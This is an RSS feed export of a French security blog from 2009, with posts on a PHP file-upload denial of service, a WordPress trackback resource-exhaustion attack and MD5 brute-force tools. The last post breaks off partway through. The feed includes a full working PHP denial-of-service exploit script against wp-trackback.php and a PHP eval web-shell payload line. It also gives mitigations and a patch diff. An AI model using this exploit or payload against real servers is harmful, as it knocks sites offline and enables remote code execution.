<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le blog de John Jean &#187; Sécurité informatique</title>
	<atom:link href="http://www.john-jean.com/blog/tag/securite-informatique/feed" rel="self" type="application/rss+xml" />
	<link>http://www.john-jean.com/blog</link>
	<description>Actualité de sécurité informatique</description>
	<lastBuildDate>Wed, 19 May 2010 09:19:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Denial of service PHP sur toutes les versions inférieures à 5.3.1</title>
		<link>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301#comments</comments>
		<pubDate>Mon, 23 Nov 2009 08:46:36 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[acunetix]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[execution de code]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[faille php]]></category>
		<category><![CDATA[fichiers temporaires]]></category>
		<category><![CDATA[locale inclusion]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301</guid>
		<description><![CDATA[Un advisory concernant les releases PHP antérieures à la version 5.3.1 a été publié ce vendredi. En effet, la 5.3.1 contient un patch pour un DoS ayant été reporté le 27 Octobre 2009. Le problème concerne le support de la RFC 1867 dans PHP (Formulaire d&#8217;upload HTML). &#160; &#160; Concept Lorsque l&#8217;on envoie une requête [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="logo php" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/11/logo_php.gif" width="165" height="124" />Un advisory concernant les releases PHP antérieures à la version 5.3.1 a été publié ce vendredi. En effet, la 5.3.1 contient un patch pour un DoS ayant été reporté le 27 Octobre 2009. Le problème concerne le support de la <a href="http://www.ietf.org/rfc/rfc1867.txt" target="_blank">RFC 1867</a> dans PHP (Formulaire d&#8217;upload HTML).</p>
<p><span id="more-301"></span>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong>Concept</strong></p>
<p>Lorsque l&#8217;on envoie une requête POST à un script PHP avec le content-type &laquo;&nbsp;multipart/form-data&nbsp;&raquo; et que l&#8217;on inclut une liste de fichiers dans cette requête, PHP crée un fichier temporaire pour chaque fichier de la requête. PHP crée ces fichiers sans même regarder si le script supporte l&#8217;upload de fichiers. Après l&#8217;exécution du script, les fichiers temporaires sont normalement effacés.</p>
<p>Le problème vient donc du fait que si vous incluez un très grand nombre de fichiers dans la requête, PHP a besoin de créer ces fichiers avant l&#8217;exécution du script et donc la suppression qui devrait en découler.</p>
<p>Le denial of service apparait lorsque l&#8217;on crée bons nombres de requêtes (ca rappelle vaguement la <a title="faille wordpress" href="http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254" target="_blank">faille wordpress</a>, et la plupart des <a href="http://fr.wikipedia.org/wiki/Attaque_par_d%C3%A9ni_de_service" target="_blank">DoS</a> bien entendu), et que chaque requête contient beaucoup de fichiers à traiter (+15000).</p>
<p>Lorsque vous envoyez cette requête au serveur web, il s&#8217;écroule et cesse de répondre car il doit processer un énorme nombre de fichiers (création / suppression) dans un très court délai.</p>
<p>N&#8217;importe quel site tournant sous PHP et où l&#8217;upload de fichier est activé (configuration par défaut) est vulnérable. Il n&#8217;est pas nécessaire d&#8217;avoir un formulaire d&#8217;upload pour exécuter l&#8217;exploit. Cette faille est donc critique. J&#8217;ai d&#8217;ailleurs lu dans mes RSS d&#8217;hier qu&#8217;<a href="http://www.ovh.com" target="_blank">OVH</a> organisait une patch party cette nuit, je suppose que c&#8217;est pour protéger ses mutualisés de cette faille.</p>
<p>PHP intègre deux paramètres de configuration qui ont attrait à l&#8217;upload:<br />
<code><br />
upload_max_filesize<br />
post_max_size<br /></code><br />
Cependant, ces deux paramètres ne sont pas suffisants pour enrayer ce DoS.</p>
<p>&nbsp;</p>
<p><strong>Notions d&#8217;enrayement</strong></p>
<p>Trois workarounds sont proposés concernant cette faille:</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Désactiver l&#8217;upload de fichier<br /></span>Si vous n&#8217;avez pas besoin d&#8217;uploader des fichiers sur votre dédié, vous pouvez donc désactiver cette fonctionnalité.<br />
file_uploads = Off dans le php.ini</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Installer PHP 5.3.1<br /></span>Si vous ne pouvez pas désactiver l&#8217;upload de fichiers, alors il convient d&#8217;upgrader PHP à la version 5.3.1.
<p>Cette nouvelle version intègre un patch pour la faille:<br />
En effet; max_file_uploads a été ajouté et permet de définir le nombre maximum de fichiers à processer à la fois (limité à 20 par défaut) afin d&#8217;enrayer les possibilités de DoS par trop grand nombre de fichiers temporaires.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Installer Suhosin PHP Extension /!\<br /></span>L&#8217;extension Suhosin possède une option nommée &laquo;&nbsp;suhosin.upload.max_uploads&nbsp;&raquo;. Cette option définit le nombre maximum de fichiers qui peuvent être uploadés par requête, définit par défaut à 25.<br />
/!\Suhoshin PHP extension ne doit pas être confondu avec Suhosin patch qui ne protège pas de cette attaque mais est assez largement déployé sur les serveurs de productions.</li>
</ul>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>
<strong>Tests dans des environnements de production</strong></p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on Linux (Ubuntu 8.10) / PHP Version 5.2.6-2ubuntu4.3</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
14:50 – started the attack<br />
14:51 : web server is no longer responsive.<br />
load average: 102.02, 30.68, 10.68<br />
14:52 : web server is not responsive.<br />
load average: 129.95, 49.29, 18.05<br />
14:52 – attack is aborted<br />
14:53 – web server is not responsive.<br />
load average: 143.58, 67.90, 26.41<br />
14:54 – web server is not responsive.<br />
load average: 149.60, 89.58, 37.93<br />
16:05 – web server is not responsive.<br />
load average: 151.64, 120.91, 60.94<br /></code></p>
<p>Vérification du nombre de fichiers temporaires crée par l&#8217;auteur:<br />
<code><br />
$ls -la /tmp/php* | wc -l<br />
-bash: /bin/ls: Argument list too long<br />
0<br /></code><br />
Création d&#8217;un fichier pour compter le nombre de fichiers crées:<br />
<code><br />
$php count_files_from_dir.php /tmp/php*<br />
2.419.649<br /></code><br />
Donc une heure après, le serveur ne répond toujours pas et 2.419.649 fichiers temporaires ont été crées.</p>
<p>&nbsp;</p>
<p>Si l&#8217;on redémarre le serveur, ces fichiers ne sont pas effacés.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on FreeBSD 7.2 / PHP Version 5.2.9</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
14:00 – attack is started.<br />
14:01 – web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))<br />
load average: 87:22, 22.61, 9.9<br />
14:02 – attack is aborted.<br />
14:06 – web server is no longer responsive.<br />
load averages: 45.42, 42.35, 22.59<br />
14:11 – web server is not responsive.<br />
load averages: 26.77, 35.78, 23.49<br />
The system is slowed down to a crawl.<br />
Basically you cannot even write a command in a remote PUTTY session.<br />
14:17 – web server is not responsive.<br />
The console is continuously displaying kernel error messages like:<br />
swap_pager_getswapspace(2): failed<br />
swap_pager_getswapspace(16): failed<br />
swap_pager_getswapspace(3): failed<br />
…<br />
pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
…<br />
14:23 – web server is responsive.<br />
load averages: 0.79, 29.10, 37.13</code> </p>
<p>&nbsp;</p>
<p>Même chose lorsque l&#8217;auteur tente de compter les fichiers temporaires:<br />
<code><br />
$ls -la /var/tmp/php* | wc -l<br />
-bash: /bin/ls: Argument list too long<br />
0<br />
$ls -la /var/tmp/php<br />
Display all 117490 possibilities? (y or n)<br /></code><br />
Donc nous avons 117490 fichiers temporaires sur le serveur.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on Windows: XAMPP / XAMPP for Windows setup filename: xampp-win32-1.7.2.exe / PHP Version 5.3.0</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
12:30 – started the attack<br />
12:30 + few seconds: CPU usage =&gt; 100%<br /></code></p>
<p>En quelques secondes, le serveur ne répond plus, 65535 fichiers temporaires sont crés et aucun autre ne peut être crée.</p>
<p>&nbsp;</p>
<p>Sur XAMPP pour Windows, PHP crée les fichiers temporaires dans C:\xampp\tmp (si votre installation est dans C:\xampp\)<br />
Les fichiers sont appelés phpXXXX.tmp (Où X’s charset est ‘a’-&#8217;z’, ‘A’-&#8217;Z’, ‘0&#8242;-’9&#8242;).<br />
Exemple: php1A00.tmp<br />
<code><br />
12:31 – attack is aborted<br />
12:39 – CPU usage is still 100%, web server is not responsive.<br />
13:08 – CPU usage is still 100%, web server is responsive.<br />
14:08 – CPU usage is 97%<br />
14:34 – CPU usage is 97%<br /></code><br />
Deux heures plus tard l&#8217;utilisation du CPU n&#8217;est pas revenue à la normale. Cependant le serveur web répond à nouveau. Après un redémarrage du serveur, l&#8217;utilisation du CPU redevient normale. Cependant les 65535 fichiers temporaires ne sont pas effacés.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on OpenBSD 4.6 / PHP Version 5.2.10</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
12:00 – started the attack<br />
12:00 + few seconds: CPU usage =&gt; 100%<br />
12:01 – attack is aborted<br />
12:01 – web server is no longer responsive.<br />
load averages: 120.42, 50.35, 20.59<br />
12:04 – web server is no longer responsive.<br />
load averages: 147.17, 80.74, 36.46<br />
The system is slowed down to a crawl.<br />
12:06 – web server is responsive.<br />
load averages: 122.59, 96.03, 48.31<br /></code></p>
<p>A ce point le serveur web est ralenti mais continue à servir les pages<br />
<code><br />
12:07 – web server is responsive.<br />
load averages: 63.67, 85.01, 47.26<br />
12:10 – web server is responsive.<br />
load averages: 6.56, 52.75, 40.03<br />
12:12 – web server is responsive.<br />
load averages: 0.55, 16.36, 26.50<br /></code><br />
Le système est revenu à la normale.</p>
<p>&nbsp;</p>
<p>OpenBSD gère très bien ce type d&#8217;attaque, les effets n&#8217;ont durés que quelques minutes.</p>
<p>Pourquoi cela ? Grace à Suhosin PHP extension. OpenBSD a cette extension activée par défaut.</p>
<p>&nbsp;</p>
<p><strong>Exploitation</strong></p>
<p>Dans certains cas, cette attaque peut se transformer une inclusion locale et donc en exécution de code distant. La plupart des OS n&#8217;effacent pas les fichiers temporaires crée, même après redémarrage du serveur web. De fait un grand nombre de fichiers temporaires sont laissés dans le répertoire temporaire (habituellement /tmp sur les systèmes unix). On peut donc tenter de deviner le nom de l&#8217;un de ces fichiers et de l&#8217;inclure.</p>
<p>Pour que cela fonctionne, tous les fichiers uploadés doivent contenir le code php suivant: &lt;?php eval($_REQUEST[x]); ?&gt;.</p>
<p>Sur les système tournant sous Windows, seulement quatre caractères sont utilisés pour générer les fichiers temporaires (phpXXXX.tmp). Une fois que le serveur répond à nouveau, il y a 65 535 fichiers dans le repertoire temporaire. Il est donc possible de deviner facilement le nom de l&#8217;un de ces fichiers et de l&#8217;inclure.</p>
<p>Sur unix, 6 caractères sont utilisés pour gérer les fichiers temporaires, il est donc impossible de deviner le nom de ceux-ci. Ou alors, cela prendra beaucoup de temps. L&#8217;auteur a tenté cette méthode sur un serveur ayant généré 800 000 fichiers temporaires. Après cinq minutes de tentative, il a réussi à deviner le nom d&#8217;un fichier et à exécuter du PHP.</p>
<p>Le script python permettant de générer l&#8217;attaque n&#8217;a pas été publié. Enfin, pas par l&#8217;auteur en tout cas. Cela se comprend aisément, du fait des conditions réunis: PHP largement déployé, pas besoin de formulaire d&#8217;upload, upload activé par défaut, seulement la dernière version corrige la faille, extension Suhosin non déployée par défaut sauf sur OpenBSD, de quoi faire tomber 70% des serveurs de la planète.</p>
<p>Mettez rapidement à jour vos serveurs. Un script doit déjà assez largement être distribué.</p>
<p>&nbsp;</p>
<p><strong>Références</strong></p>
<p>L&#8217;équipe d&#8217;<a href="http://www.acunetix.com" target="_blank">Acunetix</a> essentiellement connue pour son <a href="http://www.acunetix.com/vulnerability-scanner/" target="_blank">scanner de failles web</a>; devenu d&#8217;ailleurs entre temps un scanner de port, un soft d&#8217;exploitation d&#8217;injection SQL, un forgeur de packet HTTP et j&#8217;en passe; a averti l&#8217;équipe PHP le 27 octobre. L&#8217;auteur de cette découverte est <strong>bogdan</strong> de l&#8217;équipe Acunetix<strong>.</strong> On notera d&#8217;ailleurs avec intérêt qu&#8217;Acunetix n&#8217;a pas sorti l&#8217;adviso trois jours après avoir contacté le vendor; suivez mon regard :-)</p>
<p>&nbsp;</p>
<p><strong>Correction rapide</strong></p>
<p>On vient de patcher quelques serveurs, la version 5.3.1 a pas été poussée dans les dépots officiels, on a donc installé suhosin qui lui y est:<br />
apt-get install php5-suhosin<br />
(<a href="http://packages.debian.org/lenny/php5-suhosin">http://packages.debian.org/lenny/php5-suhosin</a>)</p>
<p>La configuration se passe dans /etc/php5/apache2/conf.d</p>
<p>
suhosin.upload.max_uploads<br />
Type: Integer<br />
Default: 25<br />
Defines the maximum number of files that may be uploaded with one request.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress Ressource Exhaustion Exploit dans toutes les versions de WordPress</title>
		<link>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254#comments</comments>
		<pubDate>Mon, 19 Oct 2009 22:29:41 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[exhaustion]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[resource]]></category>
		<category><![CDATA[ressource]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress resource exhaustion]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/divers/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254</guid>
		<description><![CDATA[36. C&#8217;est le nombre de lignes de PHP contenues dans l&#8217;exploit que je viens de tester avec intérêt. 4. C&#8217;est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel. 01h25, c&#8217;est l&#8217;heure à laquelle j&#8217;écris ce billet: vous m&#8217;excuserez [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.john-jean.com/blog/wp-content/uploads/2009/10/icon2_rss.png" alt="icon2 rss" width="165" height="152" align="left" />36. C&#8217;est le nombre de lignes de PHP contenues dans l&#8217;exploit que je viens de tester avec intérêt.</p>
<p>4. C&#8217;est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel.</p>
<p>01h25, c&#8217;est l&#8217;heure à laquelle j&#8217;écris ce billet: vous m&#8217;excuserez donc pour les fautes d&#8217;orthographes du billet cet article c&#8217;est un peu une &laquo;&nbsp;Breaking News&nbsp;&raquo;.</p>
<p><span id="more-254"></span></p>
<p>Aujourd&#8217;hui a donc été release un &laquo;&nbsp;WordPress Exhaustion Exploit&nbsp;&raquo;, c&#8217;est une appellation relativement savante pour dire que ca peut faire sauter les services d&#8217;un serveur en 36 lignes de code. Je viens de le tester sur l&#8217;un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n&#8217;est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.</p>
<p>L&#8217;attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c&#8217;est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.</p>
<p>La faille en elle-même c&#8217;est quoi ? Elle se situe au niveau de la gestion de l&#8217;encodage du titre.</p>
<p><code>if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks<br />
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);<br />
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);<br />
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);<br />
}<br />
</code></p>
<p>En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:</p>
<p><code>mb_convert_encoding(chaine_que_l'on_veut_convertir, nouveau_charset, charset_d_origine)</code></p>
<p>Dans charset_d_origine on peut spécifier plusieurs charsets. Si l&#8217;on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu&#8217;elle a trouvé le meilleur, elle va transformer chaine_que_l&#8217;on_veut_convertir en nouveau_charset.</p>
<p>Pour exploiter cette faiblesse dans notre faille, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu&#8217;il y a 23 333 charsets d&#8217;origine possible (&laquo;&nbsp;UTF-8,&nbsp;&raquo; fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l&#8217;on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l&#8217;on envoie la requête une fois, le serveur la traite, maintenant si on répète l&#8217;opération sur un délai très court le serveur apprécie moins. C&#8217;est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.</p>
<pre name="code" class="php">
&lt;?
if(count($argv) &lt; 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) &lt; 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&amp;url=www.example.com';
$str .= '&amp;title='.$b;
$str .= '&amp;blog_name=lol';
$str .= '&amp;excerpt=lol';
for($n = 0; $n &lt;= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?&gt;</pre>
<p>Pour l&#8217;enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:</p>
<p><code>$charset = $_POST['charset'];</code></p>
<p>et la remplacer par:</p>
<p><code>$charset = str_replace(”,”,”",$_POST['charset']);<br />
if(is_array($charset)) { exit; }</code></p>
<p>Ce patch permet d&#8217;enlever les virgules, du coup le script n&#8217;a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L&#8217;autre façon de passer un charset_d_origine à la fonction c&#8217;est un tableau, là on va pas faire dans la dentelle, si c&#8217;est un tableau, on exit.</p>
<p>Sinon vous pouvez toujours deny from all wp-trackback.php ;-)</p>
<p>L&#8217;exploit a été posté sur Full-Disclosure aujourd&#8217;hui à 14h30. Il semble avoir été découvert par <a href="http://rooibo.wordpress.com/" target="_blank">rooibo</a> et amélioré par <a href="http://blog.zerial.org" target="_blank">Zerial</a>. Ce n&#8217;est vraiment pas impossible que d&#8217;ici quelques jours de joyeux lurons s&#8217;amusent à attaquer les WordPress des bloggeurs &laquo;&nbsp;influents&nbsp;&raquo; les plus connus. Rooibo explique sur son blog qu&#8217;il a avertit l&#8217;équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable.</p>
<p>Le correctif proposé est celui de roobio, je pense qu&#8217;il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu&#8217;un str_replace sur un array conduit à du path disclosure.</p>
<p><strong>Rapide update: WordPress vient de release la version 2.8.5.</strong></p>
<p>Voici le diff sur le fichier qui nous intéresse:<br />
<code>john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff<br />
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php<br />
--- wordpress-2.8.4/wp-trackback.php	2008-05-25 17:50:15.000000000 +0200<br />
+++ wordpress-2.8.5/wp-trackback.php	2009-10-19 17:10:59.000000000 +0200<br />
@@ -50,7 +50,7 @@<br />
 $blog_name = stripslashes($_POST['blog_name']);</code><br />
 <code><br />
 if ($charset)<br />
-	$charset = strtoupper( trim($charset) );<br />
+	$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );<br />
 else<br />
 	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';<br />
 </code></p>
<p>Sinon j&#8217;ai fait le diff complet ici, car je ne trouve pas l&#8217;officiel chez WordPress: <a href="http://www.john-jean.com/blog/diffw84w85.diff" rel="nofollow">diff WordPress-2.8.4 WordPress 2.8.5</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254/feed</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Bruteforcer une chaine MD5: Nouvelles méthodes et comparatif des softs</title>
		<link>http://www.john-jean.com/blog/crypto/bruteforcer-une-chaine-md5-nouvelles-methodes-et-comparatif-des-softs-159</link>
		<comments>http://www.john-jean.com/blog/crypto/bruteforcer-une-chaine-md5-nouvelles-methodes-et-comparatif-des-softs-159#comments</comments>
		<pubDate>Tue, 31 Mar 2009 19:52:24 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Crypto]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[CPU]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[GPU]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/divers/bruteforcer-une-chaine-md5-nouvelles-methodes-et-comparatif-des-softs-159</guid>
		<description><![CDATA[La plupart des développeurs utilisent généralement le MD5 pour stocker les données sensibles de leurs utilisateurs (mot de passe, parfois numéro de carte bleu, et ainsi de suite&#8230;). Ces derniers ont tendance à considérer cette méthode de hachage comme fiable alors qu&#8217;elle ne l&#8217;est pas. En effet, dès 1996, des chercheurs en sécurité ont mis [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="nvidia logoblog" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/nvidia-logoblog-1.jpg" width="165" height="158" /></p>
<p>La plupart des développeurs utilisent généralement le MD5 pour stocker les données sensibles de leurs utilisateurs (mot de passe, parfois numéro de carte bleu, et ainsi de suite&#8230;). Ces derniers ont tendance à considérer cette méthode de hachage comme fiable alors qu&#8217;elle ne l&#8217;est pas. En effet, dès 1996, des chercheurs en sécurité ont mis en exergue la possibilité de créer des collisions. En 2004, les collisions complètes sont découvertes et le MD5 n&#8217;est dès lors plus considéré comme fiable d&#8217;un point de vue purement cryptographique. Cependant, sa facilité d&#8217;implémentation avec PHP à l&#8217;aide de md5(); et la méconnaissance des développeurs fait que cette méthode est encore très largement rependue au détriment de fonctions de hachage plus récentes et donc plus robustes comme SHA-256.</p>
<p>Suite à ces découvertes, plusieurs logiciels ont vu le jour afin de permettre de bruteforcer cette méthode de hachage (et pas uniquement celle-ci). Je suis souvent amené à devoir cracker ces chaines pour montrer au décideur pressé que le travail d&#8217;obfuscation des données par son développeur ou sysadmin n&#8217;est en réalité pas vraiment fiable. &laquo;&nbsp;Oui vous avez réussi à accéder à ma base de donnée, et alors ? Les données de nos clients sont cryptées&nbsp;&raquo;. Pour montrer au décideur qu&#8217;il fait fausse route, je me dois donc souvent de &laquo;&nbsp;bruteforcer&nbsp;&raquo; une ou plusieurs informations.</p>
<p><span id="more-159"></span>
<p>Les logiciels automatisant le bruteforce ont assez largement évolués récemment, passant d&#8217;une utilisation CPU, à CPU multi-core, et désormais CPU + GPU. En effet, le reversing des méthodes de hachage fascine, et remet chaque jour un peu plus en question la sécurité basée sur ces méthodes (surtout MD5 là pour le coup). Il suffit par exemple de voir l&#8217;excellent travail sur les certificats SSL: <a title="Creating a rogue CA certificate" href="http://www.win.tue.nl/hashclash/rogue-ca/" target="_blank">Creating a rogue CA certificate</a>. Un fail dans une méthode remet en question bien plus de choses que la méthode en elle-même.</p>
<p>GPU est l&#8217;acronyme de Graphics Processing Unit, grosso-modo, l&#8217;utilisation de la puissance de calcul de votre carte graphique. Ce vecteur de puissance était jusqu&#8217;alors inexploité pour la simple et bonne raison que leur utilisation était closed-source. Nvidia a largement ouvert et démocratisé l&#8217;accessibilité aux processeurs graphiques en mettant à disposition un environnement de développement nommé CUDA.</p>
<p>Voici donc un petit comparatif des logiciels, le but est avant tout de démontrer en quoi l&#8217;utilisation des GPUs constitue une avancée non négligeable (tiens ça me rappelle une histoire de PS3 montées en grappes), et surtout de montrer qu&#8217;à fonctionnement équivalent, ils ne sont pas tous aussi rapides. L&#8217;autre but est bien évidement de vous sensibiliser si vous utilisez toujours cette méthode de cryptage dans vos sites (je fais le malin, mais WordPress utilise le md5 pour stocker les passwords).</p>
<p><strong>Machine utilisée pour ce test:</strong><br />
Dell XPS M1530<br />
Intel Core 2 Duo CPU T9300 2,50 Ghz<br />
NVIDIA GeForce Go 8600M GT, 256 MB</p>
<p><strong>Comparatif des softs</strong><br />
J&#8217;étais parti pour inclure John the Ripper dans le test, mais il fallait employer un hack. Je me suis donc concentré sur les softs faisant bien nativement du bruteforce de MD5.</p>
<p><strong><em>CAIN</em></strong> (<a href="http://www.oxid.it/cain.html" target="_blank">http://www.oxid.it/cain.html</a>)<br />
Bon, à la décharge de CAIN, il ne sert pas uniquement à bruteforcer des hashs. C&#8217;est un couteau suisse qui permet de faire de l&#8217;ARP Poisoning, d&#8217;appliquer des filtres de snif etc. Donc bon, considérons que sa GUI ainsi que l&#8217;essence du soft font que ce n&#8217;est pas sa force, mais tout de même:<strong><em><br />
Résultat obtenu:</em></strong> <span style="COLOR: #ff0000">7 Millions h/s</span></p>
<p><img alt="CAIN" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/cain.jpg" width="450" height="333" /></p>
<p><img alt="CAIN2" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/cain2.gif" width="450" height="109" /> <img alt="CAIN3" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/cain3-1.gif" width="86" height="119" /></p>
<p><strong><em>MDcrack (Shot 1)</em></strong> (<a title="Download mdcrack" href="http://membres.lycos.fr/mdcrack/" target="_blank">http://membres.lycos.fr/mdcrack/</a>)<br />
Probablement l&#8217;un des plus anciens et des plus connus soft de bruteforce de MD5. Tout en command-line.<br />
Dans ce premier shot, pour simuler l&#8217;évolution, je l&#8217;ai limité à un seul CORE pour le CPU.<em><br />
<strong>Résultat obtenu:</strong></em> <span style="COLOR: #ff0000">12,5 Millions h/s</span></p>
<p><img alt="MDCRACK1" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack1.jpg" width="450" height="235" /></p>
<p><img alt="MDCRACK12" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack12.jpg" width="450" height="115" /> <img alt="MDCRACK13" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack13.jpg" width="90" height="123" /></p>
<p>Le CPU est sollicité à 50% ce qui est parfaitement logique compte tenu du fait que j&#8217;ai un Dual CORE.</p>
<p><strong><em>MDcrack (Shot 2)</em></strong> (<a title="Download mdcrack" href="http://membres.lycos.fr/mdcrack/" target="_blank">http://membres.lycos.fr/mdcrack/</a>)<br />
